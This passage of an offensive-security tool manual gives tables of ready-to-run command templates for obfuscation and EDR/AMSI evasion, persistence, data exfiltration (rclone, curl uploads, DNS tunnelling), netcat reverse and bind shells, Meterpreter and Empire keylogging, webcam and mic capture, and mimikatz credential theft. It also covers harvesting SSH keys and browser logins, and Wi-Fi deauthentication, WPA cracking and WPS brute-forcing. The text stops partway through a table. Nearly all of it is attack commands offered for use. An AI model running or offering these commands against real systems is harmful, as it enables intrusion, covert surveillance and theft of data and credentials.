8	Clip Obfuscation	Invoke-Obfuscation -ScriptBlock {script} -Clip > /opt/tsec/output/ 8.7.8_obfuscate_clip.txt	TXT
9	File Obfuscation	Invoke-Obfuscation -ScriptPath {input}.ps1 -OutputPath /opt/tsec/output/ 8.7.9_obfuscate_file.ps1 -Token -String	PS1
10	Full Pipeline	Invoke-Obfuscation -ScriptBlock {script} -Token -Ast -String -Encoding -Compress -Launcher 'PS' > / opt/tsec/output/ 8.7.10_obfuscate_full.txt	TXT

Tool 8.8 — Unicorn (Evasion)

PowerShell downgrade attack and shellcode injection.

Mode	Name	Command	Output
1	Reverse Shell	python3 unicorn.py reverse_tcp {lhost} {lport} powershell > /opt/tsec/ output/8.8.1_unicorn_rev.ps1	PS1
2	Macro Attack	python3 unicorn.py reverse_tcp {lhost} {lport} macro > /opt/tsec/output/ 8.8.2_unicorn_macro.txt	TXT
3	Certutil	python3 unicorn.py reverse_tcp {lhost} {lport} certutil > /opt/tsec/output/ 8.8.3_unicorn_certutil.txt	TXT
4	Custom Shellcode	python3 unicorn.py {shellcode_file} powershell > /opt/tsec/output/ 8.8.4_unicorn_custom.ps1	PS1
5	Custom Encoding	python3 unicorn.py reverse_tcp {lhost} {lport} powershell 5 > /opt/tsec/ output/ 8.8.5_unicorn_encoded.ps1	PS1
6	HTA Delivery	python3 unicorn.py reverse_tcp {lhost} {lport} hta > /opt/tsec/output/ 8.8.6_unicorn_hta.txt	TXT
7	AMSI Bypass	python3 unicorn.py reverse_tcp {lhost} {lport} powershell --amsi > /opt/ tsec/output/ 8.8.7_unicorn_amsi.ps1	PS1
8	ETW Bypass	python3 unicorn.py reverse_tcp {lhost} {lport} powershell --etw > /opt/tsec/ output/8.8.8_unicorn_etw.ps1	PS1
9	Full Evasion	python3 unicorn.py reverse_tcp {lhost} {lport} powershell --amsi --etw > / opt/tsec/output/ 8.8.9_unicorn_full.ps1	PS1

Table 78 – continued

Mode	Name	Command	Output
10	Macro + HTA	python3 unicorn.py reverse_tcp {lhost} {lport} macro_hta > /opt/tsec/output/ 8.8.10_unicorn_macrohta.txt	TXT

Tool 8.9 — SharPersist

Windows persistence toolkit with 15+ techniques.

Mode	Name	Command	Output
1	Registry Run Key	SharPersist.exe -t reg -c 'powershell.exe' -a '-ep bypass -file C: \temp\script.ps1' -k 'hkcurun' -n {name} --add > / opt/tsec/output/ 8.9.1_sharpersist_reg.txt	TXT
2	Scheduled Task	SharPersist.exe -t schtask -c 'powershell.exe' -a '-ep bypass -file C: \temp\script.ps1' -n {name} --add > /opt/tsec/output/ 8.9.2_sharpersist_task.txt	TXT
3	Startup Folder	SharPersist.exe -t startupfolder -f C: \temp\payload.exe -n {name} --add > /opt/tsec/output/ 8.9.3_sharpersist_startup.txt	TXT
4	WMI Event	SharPersist.exe -t wmi -c 'notepad.exe' -n {name} --add > /opt/tsec/output/ 8.9.4_sharpersist_wmi.txt	TXT
5	Service Creation	SharPersist.exe -t service -c 'C:\temp\payload.exe' -n {name} --add > /opt/tsec/ output/ 8.9.5_sharpersist_service.txt	TXT
6	Registry Check	SharPersist.exe -t reg -k 'hkcurun' --check > /opt/ tsec/output/ 8.9.6_sharpersist_check.txt	TXT
7	List All	SharPersist.exe -t all --list > /opt/tsec/output/ 8.9.7_sharpersist_list.txt	TXT

Table 79 – continued

Mode	Name	Command	Output
8	Remove Persistence	SharPersist.exe -t reg -n {name} --remove > /opt/tsec/output/ 8.9.8_sharpersist_remove.txt	TXT
9	Time-based Trigger	SharPersist.exe -t schtask -c 'powershell.exe' -n {name} -o logon --add > /opt/tsec/output/ 8.9.9_sharpersist_logon.txt	TXT
10	Full Persistence	SharPersist.exe -t reg -c 'powershell.exe' -a '-w hidden -enc {payload}' -k 'hkcurun' -n 'Update' --add > /opt/tsec/output/ 8.9.10_sharpersist_full.txt	TXT

Tool 8.10 — ScareCrow

EDR evasion payload creation with side-loading.

Mode	Name	Command	Output
1	Binary Loader	ScareCrow -I {shellcode}.bin -domain {domain} -delivery binary -o /opt/tsec/output/ 8.10.1_scarecrow_binary.exe	EXE
2	Control Panel	ScareCrow -I {shellcode}.bin -domain {domain} -delivery control -o /opt/tsec/output/ 8.10.2_scarecrow_control.cpl	CPL
3	Excel Loader	ScareCrow -I {shellcode}.bin -domain {domain} -delivery excel -o /opt/tsec/output/ 8.10.3_scarecrow_excel.xll	XLL
4	MSI Loader	ScareCrow -I {shellcode}.bin -domain {domain} -delivery msi -o /opt/tsec/output/ 8.10.4_scarecrow_msi.msi	MSI
5	DLL Loader	ScareCrow -I {shellcode}.bin -domain {domain} -delivery dll -o /opt/tsec/output/ 8.10.5_scarecrow_dll.dll	DLL

Table 80 – continued

Mode	Name	Command	Output
6	EDR Unhook	ScareCrow -I {shellcode}.bin -domain {domain} -delivery binary -unhook -o /opt/tsec/ output/ 8.10.6_scarecrow_unhook.exe	EXE
7	Custom Process	ScareCrow -I {shellcode}.bin -domain {domain} -injection {process} -o /opt/tsec/ output/ 8.10.7_scarecrow_inject.exe	EXE
8	Syscall Obf	ScareCrow -I {shellcode}.bin -domain {domain} -syscall zww -o /opt/tsec/output/ 8.10.8_scarecrow_syscall.exe	EXE
9	Sandbox Evasion	ScareCrow -I {shellcode}.bin -domain {domain} -sandbox -o /opt/tsec/output/ 8.10.9_scarecrow_sandbox.exe	EXE
10	Full Evasion	ScareCrow -I {shellcode}.bin -domain {domain} -delivery binary -unhook -sandbox -syscall direct -o /opt/tsec/ output/ 8.10.10_scarecrow_full.exe	EXE

Phase 9: Actions on Objectives

Execute mission-critical actions to achieve engagement goals: data collection, screen-shot capture, keylogging, and data exfiltration.

Tool 9.1 — rclone

Versatile cloud storage sync tool repurposed for data exfiltration.

Mode	Name	Command	Output
1	Cloud Upload	rclone copy {local_path} {remote}:{bucket}/{path} > / opt/tsec/output/ 9.1.1_rclone_upload.txt	TXT

Table 81 – continued

Mode	Name	Command	Output
2	Full Sync	<code>rclone sync {local_path} {remote}:{bucket} --progress > /opt/tsec/output/9.1.2_rclone_sync.txt</code>	TXT
3	Bandwidth Limit	<code>rclone copy {local_path} {remote}:{path} --bwlimit 500K > /opt/tsec/output/9.1.3_rclone_throttle.txt</code>	TXT
4	File Filter	<code>rclone copy {local_path} {remote}:{path} --include '*.pdf' --include '*.doc*' > /opt/tsec/output/9.1.4_rclone_filter.txt</code>	TXT
5	Encryption	<code>rclone copy {local_path} crypt-{remote}:{path} > /opt/tsec/output/9.1.5_rclone_encrypt.txt</code>	TXT
6	SFTP Transfer	<code>rclone copy {local_path} sftp:{remote_path} --sftp-host {host} --sftp-user {user} > /opt/tsec/output/9.1.6_rclone_sftp.txt</code>	TXT
7	Size Filter	<code>rclone copy {local_path} {remote}:{path} --min-size 1M --max-size 100M > /opt/tsec/output/9.1.7_rclone_size.txt</code>	TXT
8	Dry Run	<code>rclone copy {local_path} {remote}:{path} --dry-run -v > /opt/tsec/output/9.1.8_rclone_dryrun.txt</code>	TXT
9	Move Files	<code>rclone move {local_path} {remote}:{path} > /opt/tsec/output/9.1.9_rclone_move.txt</code>	TXT
10	Full Exfil	<code>rclone sync {sensitive_path} {remote}:{path} --include '*.pdf,doc,docx,xls,xlsx,db,sql}' --bwlimit 1M --progress > /opt/tsec/output/9.1.10_rclone_full.txt</code>	TXT

Tool 9.2 — impacket-smbserver

Quick SMB share for file transfer without external infrastructure.

Mode	Name	Command	Output
1	Basic Share	smbserver.py -smb2support {share_name} {share_path} > / opt/tsec/output/ 9.2.1_smbserver_basic.log	LOG
2	Auth Share	smbserver.py -smb2support -username {user} -password {password} {name} {path} > / opt/tsec/output/ 9.2.2_smbserver_auth.log	LOG
3	Download	\\{lhost}\\{share}\\{file}	ACTION
4	Upload Share	copied to {local}	
4	Upload Share	smbserver.py -smb2support -comment 'Upload' upload {path} > /opt/tsec/output/ 9.2.4_smbserver_upload.log	LOG
5	Specific IP	smbserver.py -smb2support -ip {ip} {name} {path} > /opt/ tsec/output/ 9.2.5_smbserver_ip.log	LOG
6	Custom Port	smbserver.py -smb2support -port 4455 {name} {path} > / opt/tsec/output/ 9.2.6_smbserver_port.log	LOG
7	Debug Mode	smbserver.py -smb2support -debug {name} {path} > /opt/ tsec/output/ 9.2.7_smbserver_debug.log	LOG
8	No Auth	smbserver.py -smb2support -no-auth {name} {path} > / opt/tsec/output/ 9.2.8_smbserver_noauth.log	LOG
9	Target Upload	copy {file} \\{lhost} \\{share}\\ > /opt/tsec/ output/ 9.2.9_smbserver_target.txt	TXT
10	Full Transfer	smbserver.py -smb2support -username admin -password admin -ip {ip} data /tmp/data > /opt/tsec/output/ 9.2.10_smbserver_full.log	LOG

Tool 9.3 — netcat / ncat

Networking utility for file transfer, reverse shells, and port scanning.

Mode	Name	Command	Output
1	File Receive	nc -l -p {port} > /opt/tsec/output/ 9.3.1_nc_received_file.bin	BIN
2	File Send	nc {lhost} {port} < {file} > /opt/tsec/output/ 9.3.2_nc_sent.txt	TXT
3	SSL Transfer	ncat --ssl -l {port} --recv-only > /opt/tsec/output/9.3.3_ncat_ssl.bin	BIN
4	Reverse Shell	nc -e /bin/sh {lhost} {lport} > /opt/tsec/output/ 9.3.4_nc_revshell.txt	TXT
5	Bind Shell	nc -l -p {port} -e /bin/sh > /opt/tsec/output/ 9.3.5_nc_bindshell.txt	TXT
6	Port Scan	nc -zv {target} {port_start}-{port_end} > /opt/tsec/output/ 9.3.6_nc_scan.txt	TXT
7	Banner Grab	echo '' \ nc -v -w 1 {target} {port} > /opt/tsec/output/9.3.7_nc_banner.txt	TXT
8	HTTP Request	printf 'GET / HTTP/1.0\r\n\r\n' \ nc {target} 80 > /opt/tsec/output/ 9.3.8_nc_http.txt	TXT
9	UDP Transfer	nc -u -l -p {port} > /opt/tsec/output/9.3.9_nc_udp.bin	BIN
10	Directory Stream	tar czf - {directory} \ nc {lhost} {port} > /opt/tsec/output/9.3.10_nc_stream.txt	TXT

Tool 9.4 — Metasploit Post-Exploitation

Data collection, system enumeration, and targeted actions.

Mode	Name	Command	Output
1	File Search	meterpreter > search -f *.pdf -d C:\\ > /opt/tsec/output/ 9.4.1_msf_search.txt	TXT
2	Download File	meterpreter > download {remote_file} {local_path} > /opt/tsec/output/ 9.4.2_msf_download.txt	TXT

Table 84 – continued

Mode	Name	Command	Output
3	Upload File	meterpreter > upload {local_file} {remote_path} > /opt/tsec/output/ 9.4.3_msf_upload.txt	TXT
4	Screenshot	meterpreter > screenshot -p / opt/tsec/output/ 9.4.4_msf_screenshot.png	PNG
5	Keylogger	meterpreter > keyscan_start > /opt/tsec/output/ 9.4.5_msf_keylog.txt	TXT
6	Hash Dump	meterpreter > hashdump > / opt/tsec/output/ 9.4.6_msf_hashdump.txt	TXT
7	Record Mic	meterpreter > record_mic -d 60 -f /opt/tsec/output/ 9.4.7_msf_audio.wav	WAV
8	Webcam Snap	meterpreter > webcam_snap -p /opt/tsec/output/ 9.4.8_msf_webcam.jpg	JPG
9	Loot Collect	meterpreter > loot -t files > /opt/tsec/output/ 9.4.9_msf_loot.txt	TXT
10	Full Collection	meterpreter > run post/ windows/gather/enum_files; screenshot; keyscan_dump; hashdump > /opt/tsec/output/ 9.4.10_msf_full.txt	TXT

Tool 9.5 — PowerShell Empire

Post-exploitation agent with pure PowerShell capabilities.

Mode	Name	Command	Output
1	Agent List	empire > agents > /opt/tsec/ output/ 9.5.1_empire_agents.txt	TXT
2	Module Search	empire > usemodule <TAB> > / opt/tsec/output/ 9.5.2_empire_modules.txt	TXT
3	Keylogger	empire > usemodule powershell/collection/ keylogger; set Agent {agent}; execute > /opt/tsec/output/ 9.5.3_empire_keylog.txt	TXT

Table 85 – continued

Mode	Name	Command	Output
4	Screenshot	<pre> empire > usemodule powershell/collection/ screenshot; set Agent {agent}; execute > /opt/tsec/ output/ 9.5.4_empire_screenshot.txt </pre>	TXT
5	Clipboard	<pre> empire > usemodule powershell/collection/ clipboard_monitor; set Agent {agent}; execute > /opt/tsec/ output/ 9.5.5_empire_clipboard.txt </pre>	TXT
6	File Finder	<pre> empire > usemodule powershell/ situational_awareness/ network/powerview/ find_localadmin_access; execute > /opt/tsec/output/ 9.5.6_empire_localadmin.txt </pre>	TXT
7	Mimikatz	<pre> empire > usemodule powershell/credentials/ mimikatz/logonpasswords; set Agent {agent}; execute > / opt/tsec/output/ 9.5.7_empire_mimikatz.txt </pre>	TXT
8	Token Enum	<pre> empire > usemodule powershell/credentials/ tokens; set Agent {agent}; execute > /opt/tsec/output/ 9.5.8_empire_tokens.txt </pre>	TXT
9	File Search	<pre> empire > shell dir C: \\Users\\ /s \\ findstr '.pdf' > /opt/tsec/output/ 9.5.9_empire_filesearch.txt </pre>	TXT
10	Full Operation	<pre> empire > usemodule powershell/collection/ keylogger; usemodule powershell/collection/ screenshot; usemodule powershell/credentials/ mimikatz/logonpasswords; execute > /opt/tsec/output/ 9.5.10_empire_full.txt </pre>	TXT

Tool 9.6 — Unix Text Processing Toolkit

Core utilities for parsing logs and searching for sensitive data.

Mode	Name	Command	Output
1	Credential Search	<pre>grep -ri 'password\ passwd\ pwd' {directory} 2>/dev/null > /opt/tsec/output/ 9.6.1_grep_creds.txt</pre>	TXT
2	Config Parse	<pre>grep -E '^(user\ pass\ host\ port\ key)' {config_file} > / opt/tsec/output/ 9.6.2_grep_config.txt</pre>	TXT
3	Log Extract	<pre>awk '/{pattern}/{print \$0}' {log_file} > /opt/tsec/ output/9.6.3_awk_logs.txt</pre>	TXT
4	CSV Process	<pre>awk -F',' '{print \$1, \$3}' {csv_file} > /opt/tsec/ output/9.6.4_awk_csv.txt</pre>	TXT
5	Config Discovery	<pre>find {directory} -type f \ -name '*.conf' -o -name '*.ini' -o -name '*.xml' \) > /opt/tsec/output/ 9.6.5_find_configs.txt</pre>	TXT
6	DB Search	<pre>find {directory} -name '*.db' -o -name '*.sql' -o -name '*.sqlite' > /opt/tsec/ output/9.6.6_find_dbs.txt</pre>	TXT
7	History Collect	<pre>cat /home/*.bash_history / root/.bash_history 2>/dev/ null > /opt/tsec/output/ 9.6.7_history.txt</pre>	TXT
8	SSH Key Harvest	<pre>find /home -name 'id_rsa' -o -name 'id_ed25519' 2>/dev/ null > /opt/tsec/output/ 9.6.8_ssh_keys.txt</pre>	TXT
9	Sensitive Pattern	<pre>grep -r -l -i 'BEGIN OPENS SSH PRIVATE KEY\ BEGIN RSA PRIVATE KEY\ AKIA' {path} > / opt/tsec/output/ 9.6.9_grep_sensitive.txt</pre>	TXT
10	Data Sweep	<pre>find {directory} -type f \ -name '*.pdf' -o -name '*.doc*' -o -name '*.xls*' \) -exec cp {} {staging}/ + > / opt/tsec/output/ 9.6.10_full_sweep.txt</pre>	TXT

Tool 9.7 — curl / wget

HTTP clients for data exfiltration through HTTP/HTTPS.

Mode	Name	Command	Output
1	File Upload	curl -F 'file=@{file}' http://{lhost}:{port}/upload > /opt/tsec/output/ 9.7.1_curl_upload.txt	TXT
2	PUT Upload	curl -T {file} http:// {lhost}:{port}/{path} > /opt/ tsec/output/ 9.7.2_curl_put.txt	TXT
3	Data POST	curl -X POST -d '{data}' http://{lhost}:{port}/receive > /opt/tsec/output/ 9.7.3_curl_post.txt	TXT
4	Base64 Transfer	cat {file} \ base64 \ curl -X POST -d @- http://{lhost}: {port}/ > /opt/tsec/output/ 9.7.4_curl_base64.txt	TXT
5	HTTPS Upload	curl -k -F 'file=@{file}' https://{lhost}:{port}/upload > /opt/tsec/output/ 9.7.5_curl_https.txt	TXT
6	WGET Upload	wget --post-file={file} http://{lhost}:{port}/receive > /opt/tsec/output/ 9.7.6_wget_upload.txt	TXT
7	Chunked Upload	curl --limit-rate 100K -F 'file=@{file}' http:// {lhost}:{port}/upload > /opt/ tsec/output/ 9.7.7_curl_throttle.txt	TXT
8	Custom Header	curl -H 'X-Data: secret' -F 'file=@{file}' http:// {lhost}:{port}/ > /opt/tsec/ output/9.7.8_curl_header.txt	TXT
9	Proxy Upload	curl -x http://{proxy}:{port} -F 'file=@{file}' http:// {lhost}/upload > /opt/tsec/ output/9.7.9_curl_proxy.txt	TXT
10	Full Pipeline	tar czf - {directory} \ base64 \ curl -X POST -d @- http://{lhost}:{port}/exfil > /opt/tsec/output/ 9.7.10_curl_full.txt	TXT

Tool 9.8 — DNSExfiltrator

Covert data exfiltration through DNS queries.

Mode	Name	Command	Output
1	File DNS Exfil	python3 dns-exfiltrator.py -f {file} -d {domain} -n {nameserver} > /opt/tsec/output/9.8.1_dns_exfil.txt	TXT
2	String Exfil	python3 dns-exfiltrator.py -s '{data}' -d {domain} -n {nameserver} > /opt/tsec/output/9.8.2_dns_string.txt	TXT
3	Iodine Tunnel	iodine -f -P {password} {nameserver} {domain} > /opt/tsec/output/9.8.3_iodine_tunnel.txt	TXT
4	Iodine Server	iodined -f -P {password} -c {tun_ip} {domain} > /opt/tsec/output/9.8.4_iodined_server.txt	TXT
5	Chunked Transfer	python3 dns-exfiltrator.py -f {file} -d {domain} -c 50 > /opt/tsec/output/9.8.5_dns_chunked.txt	TXT
6	Base32 Encoding	python3 dns-exfiltrator.py -f {file} -d {domain} -b > /opt/tsec/output/9.8.6_dns_base32.txt	TXT
7	Reverse Tunnel	iodine -r -P {password} {nameserver} {domain} > /opt/tsec/output/9.8.7_iodine_reverse.txt	TXT
8	Throughput Test	python3 dns-exfiltrator.py -f /dev/zero -s 10M -d {domain} > /opt/tsec/output/9.8.8_dns_throughput.txt	TXT
9	Encrypted Tunnel	iodine -f -P {password} -T TXT {nameserver} {domain} > /opt/tsec/output/9.8.9_iodine_encrypted.txt	TXT
10	Full Exfil Chain	cat {sensitive_file} \ gzip \ base64 \ python3 dns-exfiltrator.py -s - -d {domain} -n {ns} > /opt/tsec/output/9.8.10_dns_full.txt	TXT

Tool 9.9 — sqlite3

Command-line interface for SQLite database extraction.

Mode	Name	Command	Output
1	List Tables	sqlite3 {database}.db ' .tables' > /opt/tsec/output/ 9.9.1_sqlite3_tables.txt	TXT
2	Table Schema	sqlite3 {database}.db ' .schema {table}' > /opt/ tsec/output/ 9.9.2_sqlite3_schema.txt	TXT
3	Data Dump	sqlite3 {database}.db 'SELECT * FROM {table}' > /opt/tsec/ output/9.9.3_sqlite3_dump.txt	TXT
4	Chrome Passwords	sqlite3 'Login Data' 'SELECT origin_url, username_value FROM logins' > /opt/tsec/ output/ 9.9.4_sqlite3_chrome.txt	TXT
5	Cookie Extract	sqlite3 'Cookies' 'SELECT host_key, name, value FROM cookies' > /opt/tsec/output/ 9.9.5_sqlite3_cookies.txt	TXT
6	CSV Export	sqlite3 {database}.db '.mode csv' 'SELECT * FROM {table}' > /opt/tsec/output/ 9.9.6_sqlite3_{table}.csv	CSV
7	Full Dump	sqlite3 {database}.db '.dump' > /opt/tsec/output/ 9.9.7_sqlite3_full.sql	SQL
8	Conditional Query	sqlite3 {database}.db 'SELECT * FROM {table} WHERE {column} LIKE "%pass%"' > /opt/tsec/ output/ 9.9.8_sqlite3_search.txt	TXT
9	Find All DBs	find /home -name '*.sqlite' -o -name '*.db' 2>/dev/null \\ xargs -I {} sqlite3 {} ' .tables' > /opt/tsec/output/ 9.9.9_sqlite3_findall.txt	TXT
10	CSV with Headers	sqlite3 {database}.db '.mode csv' '.headers on' 'SELECT * FROM {table}' > /opt/tsec/ output/ 9.9.10_sqlite3_headers.csv	CSV

Tool 9.10 — find + zip/tar

File discovery and compression for efficient exfiltration.

Mode	Name	Command	Output
1	Find PDFs	<code>find {directory} -type f -name '*.pdf' > /opt/tsec/ output/9.10.1_find_pdfs.txt</code>	TXT
2	Archive Directory	<code>tar czf /opt/tsec/output/ 9.10.2_archive_{name}.tar.gz -C {directory} .</code>	TAR.GZ
3	Selective Archive	<code>find {directory} -name '*.doc' -o -name '*.pdf' \\ tar czf /opt/tsec/output/ 9.10.3_selective.tar.gz -T -</code>	TAR.GZ
4	Size Filter	<code>find {directory} -type f -size +1M -size -100M > /opt/ tsec/output/ 9.10.4_find_size.txt</code>	TXT
5	Recent Files	<code>find {directory} -type f -mtime -7 > /opt/tsec/output/ 9.10.5_find_recent.txt</code>	TXT
6	SSH Key Collect	<code>find /home -type f \(-name 'id_rsa' -o -name '*.pem' \\ 2>/dev/null > /opt/tsec/ output/ 9.10.6_find_sshkeys.txt</code>	TXT
7	Database Files	<code>find {directory} -type f \(-name '*.db' -o -name '*.sqlite' -o -name '*.sql' \) > /opt/tsec/output/ 9.10.7_find_dbs.txt</code>	TXT
8	Config Harvest	<code>find {directory} -type f \(-name '*.conf' -o -name '*.config' -o -name '*.ini' -o -name '*.xml' -o -name '*.env' \) > /opt/tsec/ output/ 9.10.8_find_configs.txt</code>	TXT
9	Exclude Archive	<code>tar czf /opt/tsec/output/ 9.10.9_archive_clean.tar.gz --exclude='node_modules' --exclude='.git' {directory}</code>	TAR.GZ

Table 90 – continued

Mode	Name	Command	Output
10	Full Collection	<pre>find {directory} -type f \(-name '*.pdf' -o -name '*.doc*' -o -name '*.xls*' -o -name '*.db' \) - exec tar czf /opt/tsec/output/ 9.10.10_full_collection.tar.gz {} +</pre>	TAR.GZ

Phase 10: Wireless Hacking

Assess wireless network security across Wi-Fi, Bluetooth, and RF protocols. Capture handshakes, crack encryption, and deploy rogue access points.

Tool 10.1 — Aircrack-ng

Complete suite for Wi-Fi network security assessment.

Mode	Name	Command	Output
1	Monitor Mode	<pre>airmon-ng start {interface} > /opt/tsec/output/ 10.1.1_aircrack_monitor.txt</pre>	TXT
2	Network Scan	<pre>airodump-ng {interface_mon} --write /opt/tsec/output/ 10.1.2_aircrack_scan</pre>	CAP
3	Targeted Capture	<pre>airodump-ng -c {channel} --bssid {bssid} -w /opt/tsec/ output/10.1.3_aircrack_target {interface_mon}</pre>	CAP
4	Deauth Attack	<pre>aireplay-ng -0 {count} -a {bssid} -c {client_mac} {interface_mon} > /opt/tsec/ output/ 10.1.4_aircrack_deauth.txt</pre>	TXT
5	WPA Cracking	<pre>aircrack-ng -w {wordlist} -b {bssid} /opt/tsec/output/ 10.1.3_aircrack_target-01.cap > /opt/tsec/output/ 10.1.5_aircrack_crack.txt</pre>	TXT

Table 91 – continued

Mode	Name	Command	Output
6	WEP Injection	aireplay-ng -3 -b {bssid} -h {mac} {interface_mon} > /opt/tsec/output/10.1.6_aircrack_wep.txt	TXT
7	Fake Auth	aireplay-ng -1 0 -a {bssid} -h {mac} {interface_mon} > /opt/tsec/output/10.1.7_aircrack_fakeauth.txt	TXT
8	Packet Forge	packetforge-ng -0 -a {bssid} -h {mac} -k {ip_dst} -l {ip_src} -y {prga} -w /opt/tsec/output/10.1.8_aircrack_forge.cap	CAP
9	PMKID Capture	hcxdumpool -i {interface} -o /opt/tsec/output/10.1.9_aircrack_pmkid.pcapng --enable_status=1	PCAPNG
10	Full WPA Audit	airmon-ng start {iface} && airodump-ng -c {ch} --bssid {bssid} -w /opt/tsec/output/10.1.10_aircrack_full {iface_mon} & aireplay-ng -0 10 -a {bssid} -c {client} {iface_mon}	CAP

Tool 10.2 — Wifite2

Automated wireless attack tool for WEP, WPA, and WPS.

Mode	Name	Command	Output
1	Auto Attack	wifite --kill --cracked > /opt/tsec/output/10.2.1_wifite_auto.txt	TXT
2	WPA Only	wifite -i {interface} --wpa --dict {wordlist} > /opt/tsec/output/10.2.2_wifite_wpa.txt	TXT
3	WPS Attack	wifite -i {interface} --wps --pixie > /opt/tsec/output/10.2.3_wifite_wps.txt	TXT
4	PMKID Only	wifite -i {interface} --pmkid --dict {wordlist} > /opt/tsec/output/10.2.4_wifite_pmkid.txt	TXT

Table 92 – continued

Mode	Name	Command	Output
5	Custom Dict	wifite -i {interface} --dict {wordlist} > /opt/tsec/output/10.2.5_wifite_dict.txt	TXT
6	Channel Filter	wifite -i {interface} -c 1,6,11 > /opt/tsec/output/10.2.6_wifite_channel.txt	TXT
7	Power Filter	wifite -i {interface} --pow 50 > /opt/tsec/output/10.2.7_wifite_power.txt	TXT
8	Cracked Check	wifite --cracked > /opt/tsec/output/10.2.8_wifite_cracked.txt	TXT
9	Handshake Verify	wifite --check {capture_file} > /opt/tsec/output/10.2.9_wifite_verify.txt	TXT
10	Full Assessment	wifite --kill --wpa --wps --pmkid --dict {wordlist} -p 30 > /opt/tsec/output/10.2.10_wifite_full.txt	TXT

Tool 10.3 — hcxtools

WLAN attack and capture tools for PMKID and handshake cracking.

Mode	Name	Command	Output
1	PMKID Capture	hcxdumptool -i {interface} -o /opt/tsec/output/10.3.1_hcxdump_pmkid.pcapng --enable_status=15	PCAPNG
2	Convert Hashcat	hcxpcapngtool -o /opt/tsec/output/10.3.2_hcxconv_hash.22000 -E /opt/tsec/output/10.3.2_hcxconv_essid.txt {capture}.pcapng	22000
3	Filter BSSID	hcxpcapngtool -o /opt/tsec/output/10.3.3_hcxconv_filtered.22000 --filtermode=2 --filterlist={bssid_file} {capture}	22000

Table 93 – continued

Mode	Name	Command	Output
4	MAC Filter	hcxdumptool -i {iface} -o / opt/tsec/output/ 10.3.4_hcxdump_mac.pcapng --filterlist_ap={mac_file} --filtermode=2	PCAPNG
5	Client-less	hcxdumptool - i {iface} -o /opt/tsec/output/ 10.3.5_hcxdump_clientless.pcapng --enable_status=1 --active_beacon	PCAPNG
6	Channel Assessment	hcxdumptool -i {iface} -o / opt/tsec/output/ 10.3.6_hcxdump_assess.pcapng --do_rcascan	PCAPNG
7	GPS Logging	hcxdumptool -i {iface} -o / opt/tsec/output/ 10.3.7_hcxdump_gps.pcapng --use_gpsd=localhost:2947	PCAPNG
8	Hash Info	hcxhashtool -i {hash}.22000 --info=stdout > /opt/tsec/ output/ 10.3.8_hcxhashtool_info.txt	TXT
9	ESSID Extract	hcxpcapngtool -o {hash}.22000 -E /opt/tsec/output/ 10.3.9_hcxconv_essidlist.txt --essid=stdout {capture} > / opt/tsec/output/ 10.3.9_hcxconv_essids.txt	TXT
10	Full Pipeline	hcxdumptool -i {iface} -o / opt/tsec/output/ 10.3.10_hcxdump_full.pcapng --enable_status=15 --active_beacon --channel=1,6,11 && hcxpcapngtool -o /opt/tsec/ output/ 10.3.10_hcxconv_full.22000 / opt/tsec/output/ 10.3.10_hcxdump_full.pcapng	22000

Tool 10.4 — hashcat (Wi-Fi Modes)

GPU-accelerated Wi-Fi password cracking.

Mode	Name	Command	Output
1	WPA2 Crack	hashcat -m 2500 -a 0 {capture}.hccapx {wordlist} -o /opt/tsec/output/ 10.4.1_hashcat_wpa2.txt	TXT
2	PMKID Crack	hashcat -m 22000 -a 0 {hash}.22000 {wordlist} -o / opt/tsec/output/ 10.4.2_hashcat_pmkid.txt	TXT
3	Mask Attack	hashcat -m 22000 -a 3 {hash}.22000 '?u?l?l?l?l?d?d? d?d' -o /opt/tsec/output/ 10.4.3_hashcat_mask.txt	TXT
4	Rules Attack	hashcat -m 22000 -a 0 {hash}.22000 {wordlist} -r {rules} -o /opt/tsec/output/ 10.4.4_hashcat_rules.txt	TXT
5	Brute Force	hashcat -m 22000 -a 3 {hash}.22000 '?a?a?a?a?a?a? a' -o /opt/tsec/output/ 10.4.5_hashcat_brute.txt	TXT
6	Session Save	hashcat -m 22000 -a 0 {hash}.22000 {wordlist} -o / opt/tsec/output/ 10.4.6_hashcat_cracked.txt --session={name}	TXT
7	Show Cracked	hashcat -m 22000 {hash}.22000 --show > /opt/tsec/output/ 10.4.7_hashcat_show.txt	TXT
8	Benchmark	hashcat -m 22000 -b > /opt/ tsec/output/ 10.4.8_hashcat_benchmark.txt	TXT
9	Multi Wordlist	hashcat -m 22000 -a 0 {hash}.22000 {wordlist1} {wordlist2} -o /opt/tsec/ output/ 10.4.9_hashcat_multi.txt	TXT
10	Optimized Crack	hashcat -m 22000 -a 0 {hash}.22000 {wordlist} -O -w 3 -o /opt/tsec/output/ 10.4.10_hashcat_optimized.txt	TXT

Tool 10.5 — Reaver

WPS PIN brute-forcing to recover WPA/WPA2 passphrases.

Mode	Name	Command	Output
1	Basic Attack	reaver -i {interface} -b {bssid} -vv > /opt/tsec/output/10.5.1_reaver_basic.txt	TXT
2	Channel Lock	reaver -i {interface} -b {bssid} -c {channel} -vv > /opt/tsec/output/10.5.2_reaver_channel.txt	TXT
3	Rate Limit	reaver -i {interface} -b {bssid} -d 5 -vv > /opt/tsec/output/10.5.3_reaver_delay.txt	TXT
4	Custom PIN	reaver -i {interface} -b {bssid} -p {pin} -vv > /opt/tsec/output/10.5.4_reaver_pin.txt	TXT
5	MAC Spoof	reaver -i {interface} -b {bssid} -vv -N -n > /opt/tsec/output/10.5.5_reaver_nospoof.txt	TXT
6	Timeout	reaver -i {interface} -b {bssid} -t 30 -x 60 -vv > /opt/tsec/output/10.5.6_reaver_timeout.txt	TXT
7	Session Resume	reaver -i {interface} -b {bssid} -s {session_file} -vv > /opt/tsec/output/10.5.7_reaver_resume.txt	TXT
8	Ignore Locks	reaver -i {interface} -b {bssid} -L -vv > /opt/tsec/output/10.5.8_reaver_ignore.txt	TXT
9	Pixie Dust	reaver -i {interface} -b {bssid} -vv -K 1 > /opt/tsec/output/10.5.9_reaver_pixie.txt	TXT
10	Full WPS	reaver -i {interface} -b {bssid} -c {ch} -vv -K 1 -t 30 -d 5 -L > /opt/tsec/output/10.5.10_reaver_full.txt	TXT

Tool 10.6 — Bully

Modern, efficient WPS brute-forcing tool.

Mode	Name	Command	Output
1	Basic Attack	bully -b {bssid} -c {channel} {interface} > /opt/tsec/output/10.6.1_bully_basic.txt	TXT
2	Verbose	bully -b {bssid} -c {channel} -v 3 {interface} > /opt/tsec/output/10.6.2_bully_verbose.txt	TXT
3	Force Mode	bully -b {bssid} -c {channel} -F {interface} > /opt/tsec/output/10.6.3_bully_force.txt	TXT
